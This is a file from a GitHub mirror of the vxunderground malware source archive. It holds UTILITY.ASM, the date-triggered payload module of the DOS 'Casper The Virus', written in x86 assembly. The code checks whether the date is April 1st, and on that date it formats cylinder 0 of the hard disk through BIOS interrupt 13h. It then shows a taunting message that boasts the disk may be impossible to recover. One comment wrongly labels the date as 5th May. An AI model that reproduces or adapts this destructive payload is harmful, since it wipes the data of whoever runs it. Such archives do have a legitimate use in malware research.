mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
33 lines
1.2 KiB
NASM
33 lines
1.2 KiB
NASM
|
;****************************************************************************
|
|||
|
|
;*
|
|||
|
|
;* UTILITY.ASM - Manipulation Task Code For Casper The Virus. *
|
|||
|
|
;* *
|
|||
|
|
;* USAGE: Is automatically INCLUDED in the assembly of casper.asm *
|
|||
|
|
;* *
|
|||
|
|
;* DETAILS: Date Activated Hard Disk Destroyer. *
|
|||
|
|
;* DATE: 1st April DAMAGE: Formats Cylinder 0 of HD. *
|
|||
|
|
;* *
|
|||
|
|
;**************************************************************************
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
mov ah,2ah ; DOS Get Date.
|
|||
|
|
int 21h
|
|||
|
|
cmp dx,0401h ; 5th May.
|
|||
|
|
jne utilend
|
|||
|
|
mov ax,0515h ;Format Cylinder, 15 Sectors.
|
|||
|
|
mov ch,0 ;Cylinder 0.
|
|||
|
|
mov dx,00 ;Head 0, Drive 80h.
|
|||
|
|
mov es,dx ;Junk for address marks.
|
|||
|
|
mov bx,0 ;Junk....
|
|||
|
|
int 13h ;Do It!
|
|||
|
|
int 20h ;Exit
|
|||
|
|
utilend: jmp entry3
|
|||
|
|
db "Hi! I'm Casper The Virus, And On April The 1st I'm "
|
|||
|
|
db "Gonna Fuck Up Your Hard Disk REAL BAD! "
|
|||
|
|
db "In Fact It Might Just Be Impossible To Recover! "
|
|||
|
|
db "How's That Grab Ya! <GRIN>"
|
|||
|
|
entry3:
|
|||
|
|
|